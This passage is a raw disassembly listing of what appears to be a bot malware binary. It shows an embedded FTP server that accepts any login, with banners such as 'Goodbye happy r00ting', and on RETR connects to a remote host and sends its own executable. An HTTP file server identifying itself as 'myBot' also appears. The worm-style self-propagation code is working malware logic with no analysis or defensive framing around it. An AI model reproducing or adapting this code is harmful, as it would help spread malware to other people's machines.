		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_405649
		lea	eax, [ebp+var_224]

loc_405615:				; CODE XREF: sub_405409+216j
		cmp	[eax], edi
		jz	short loc_405623
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_405615
		jmp	short loc_405649
; ---------------------------------------------------------------------------

loc_405623:				; CODE XREF: sub_405409+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_405643
		lea	eax, [ebp+ecx*4+var_224]

loc_40562F:				; CODE XREF: sub_405409+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40562F

loc_405643:				; CODE XREF: sub_405409+21Dj
		dec	[ebp+var_228]

loc_405649:				; CODE XREF: sub_405409+204j
					; sub_405409+218j
		push	edi
		call	dword_4211F0	; closesocket
		jmp	loc_4059F0
; ---------------------------------------------------------------------------

loc_405655:				; CODE XREF: sub_405409+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_416AA0
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_415910
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405699
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_405699:				; CODE XREF: sub_405409+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056BD
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_4056BD:				; CODE XREF: sub_405409+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056E1
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_4056E1:				; CODE XREF: sub_405409+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405705
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_405705:				; CODE XREF: sub_405409+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_426918
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405729
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_405729:				; CODE XREF: sub_405409+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405764
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405764
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_405764:				; CODE XREF: sub_405409+335j
					; sub_405409+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40579F
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40579F
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_40579F:				; CODE XREF: sub_405409+370j
					; sub_405409+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057ED
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]

loc_4057DD:				; CODE XREF: sub_405409+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi

loc_4057E5:				; CODE XREF: sub_405409+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059DE
; ---------------------------------------------------------------------------

loc_4057ED:				; CODE XREF: sub_405409+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40582E
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057DD
; ---------------------------------------------------------------------------

loc_40582E:				; CODE XREF: sub_405409+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405901
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416AA0
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_415A5F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_415A5F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_415570
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4154E7
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_416A89
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4154E7
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057E5
; ---------------------------------------------------------------------------

loc_405901:				; CODE XREF: sub_405409+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4059BC
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_405A0C
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4059B2
		call	sub_405A89
		cmp	eax, 1
		jnz	loc_4059DE
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_438FDC
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_42675C
		push	eax
		call	sub_4154E7
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_4059A3
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_412D4C
		add	esp, 14h

loc_4059A3:				; CODE XREF: sub_405409+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	short loc_4059DE
; ---------------------------------------------------------------------------

loc_4059B2:				; CODE XREF: sub_405409+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059DB
; ---------------------------------------------------------------------------

loc_4059BC:				; CODE XREF: sub_405409+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059DE
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_4059DB:				; CODE XREF: sub_405409+28Bj
					; sub_405409+2AFj ...
		push	edi
		call	ebx	; send

loc_4059DE:				; CODE XREF: sub_405409+3DFj
					; sub_405409+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch

loc_4059F0:				; CODE XREF: sub_405409+160j
					; sub_405409+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405537
		jmp	loc_4054FC
; ---------------------------------------------------------------------------

loc_405A02:				; CODE XREF: sub_405409+11Ej
		push	1
		pop	eax

loc_405A05:				; CODE XREF: sub_405409+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A0C	proc near		; CODE XREF: sub_405409+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4211B0	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_4211E0	; socket
		push	[ebp+arg_0]
		mov	dword_438FD8, eax
		mov	[ebp+var_10], 2
		call	dword_4211D8	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4211DC	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_438FD8
		call	dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A84
		push	dword_438FD8
		call	dword_4211F0	; closesocket
		call	dword_4211AC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405A84:				; CODE XREF: sub_405A0C+60j
		push	1
		pop	eax
		leave
		retn
sub_405A0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A89	proc near		; CODE XREF: sub_405409+531p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BE8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405B20
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405B04
		push	edi
		mov	edi, 400h

loc_405ACC:				; CODE XREF: sub_405A89+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_416BB0
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_438FD8
		call	dword_4211EC	; send
		push	1
		call	dword_421060	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405ACC
		pop	edi

loc_405B04:				; CODE XREF: sub_405A89+3Bj
		push	esi
		call	sub_415B40
		pop	ecx
		push	dword_438FD8
		call	dword_4211F0	; closesocket
		call	dword_4211AC	; WSACleanup
		push	1
		pop	eax

loc_405B20:				; CODE XREF: sub_405A89+35j
		pop	esi
		leave
		retn
sub_405A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B23	proc near		; DATA XREF: sub_407276+333o
					; sub_40CE55+5068o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43A398	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405F0E
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43F534[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43A3C4	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		push	7FFFFFFFh
		push	edi
		call	dword_43A3C0	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43A434	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_405BFA:				; CODE XREF: sub_405B23+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43A380	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F09
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_405C30:				; CODE XREF: sub_405B23+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43A290	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405EF4
		cmp	esi, [ebp+var_C]
		jnz	short loc_405CB2
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43A42C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF4
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C84
		lea	edx, [ebp+var_134]

loc_405C78:				; CODE XREF: sub_405B23+15Fj
		cmp	[edx], eax
		jz	short loc_405C84
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C78

loc_405C84:				; CODE XREF: sub_405B23+14Dj
					; sub_405B23+157j
		cmp	ecx, ebx
		jnz	short loc_405CA1
		cmp	ebx, 40h
		jnb	short loc_405CA1
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_405CA1:				; CODE XREF: sub_405B23+163j
					; sub_405B23+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EF4
		mov	[ebp+var_8], eax
		jmp	loc_405EF4
; ---------------------------------------------------------------------------

loc_405CB2:				; CODE XREF: sub_405B23+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43A3B0	; recv
		test	eax, eax
		jg	short loc_405D45
		push	esi
		call	dword_43A430	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EF4
		lea	eax, [ebp+var_134]

loc_405D04:				; CODE XREF: sub_405B23+1EBj
		cmp	[eax], esi
		jz	short loc_405D15
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405D04
		jmp	loc_405EF4
; ---------------------------------------------------------------------------

loc_405D15:				; CODE XREF: sub_405B23+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D39
		lea	eax, [ebp+ecx*4+var_134]

loc_405D23:				; CODE XREF: sub_405B23+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405D23

loc_405D39:				; CODE XREF: sub_405B23+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EF4
; ---------------------------------------------------------------------------

loc_405D45:				; CODE XREF: sub_405B23+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_415CF0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EF4

loc_405D73:				; CODE XREF: sub_405B23+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405E18
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DEC
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_415CF0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DEC
		mov	eax, offset asc_426A00 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AC0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_415AC0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416C98
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415C00
		add	esp, 10h
		jmp	short loc_405E03
; ---------------------------------------------------------------------------

loc_405DEC:				; CODE XREF: sub_405B23+27Fj
					; sub_405B23+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4269FC ; "\r\n"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E37

loc_405E03:				; CODE XREF: sub_405B23+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_405E18:				; CODE XREF: sub_405B23+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_415CF0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D73
		jmp	loc_405EF4
; ---------------------------------------------------------------------------

loc_405E37:				; CODE XREF: sub_405B23+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E81
		lea	eax, [ebp+var_134]

loc_405E43:				; CODE XREF: sub_405B23+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E54
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E43
		jmp	short loc_405E84
; ---------------------------------------------------------------------------

loc_405E54:				; CODE XREF: sub_405B23+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E78
		lea	eax, [ebp+ecx*4+var_134]

loc_405E62:				; CODE XREF: sub_405B23+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E62

loc_405E78:				; CODE XREF: sub_405B23+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E84
; ---------------------------------------------------------------------------

loc_405E81:				; CODE XREF: sub_405B23+318j
		mov	esi, [ebp+var_4]

loc_405E84:				; CODE XREF: sub_405B23+32Fj
					; sub_405B23+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EED
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_415CF0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415CF0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EED
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43A434	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_406100
		add	esp, 14h
		jmp	short loc_405EF4
; ---------------------------------------------------------------------------

loc_405EED:				; CODE XREF: sub_405B23+369j
					; sub_405B23+38Fj
		push	esi
		call	dword_43A430	; closesocket

loc_405EF4:				; CODE XREF: sub_405B23+11Dj
					; sub_405B23+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405C30
		jmp	loc_405BFA
; ---------------------------------------------------------------------------

loc_405F09:				; CODE XREF: sub_405B23+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_405F0E:				; CODE XREF: sub_405B23+6Aj
					; sub_405B23+92j ...
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4269B4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F54
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_412D4C
		add	esp, 14h

loc_405F54:				; CODE XREF: sub_405B23+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_254]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_405B23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F7E	proc near		; DATA XREF: sub_406100+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4154E7
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_405FE3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FE8
; ---------------------------------------------------------------------------

loc_405FE3:				; CODE XREF: sub_405F7E+5Cj
		push	offset aApplicationOct ; "application/octet-stream"

loc_405FE8:				; CODE XREF: sub_405F7E+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4154E7
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_421084	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_421080	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406061
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154E7
		add	esp, 24h
		jmp	short loc_406082
; ---------------------------------------------------------------------------

loc_406061:				; CODE XREF: sub_405F7E+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154E7
		add	esp, 28h

loc_406082:				; CODE XREF: sub_405F7E+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43A3E8	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_4060C2
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A32
		pop	ecx
		pop	ecx
		jmp	short loc_4060DF
; ---------------------------------------------------------------------------

loc_4060C2:				; CODE XREF: sub_405F7E+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4063B0
		add	esp, 10h

loc_4060DF:				; CODE XREF: sub_405F7E+142j
		push	[ebp+var_44C]
		call	dword_43A430	; closesocket
		push	[ebp+var_B4]
		call	sub_4152AF
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_405F7E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406100	proc near		; CODE XREF: sub_405B23+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415570
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406136
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40613F
; ---------------------------------------------------------------------------

loc_406136:				; CODE XREF: sub_406100+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40613F:				; CODE XREF: sub_406100+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061DA
		mov	[ebp+arg_8], 2

loc_40616A:				; CODE XREF: sub_406100+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415CF0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4061AA
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_4061AA
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4061AA
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4061AA
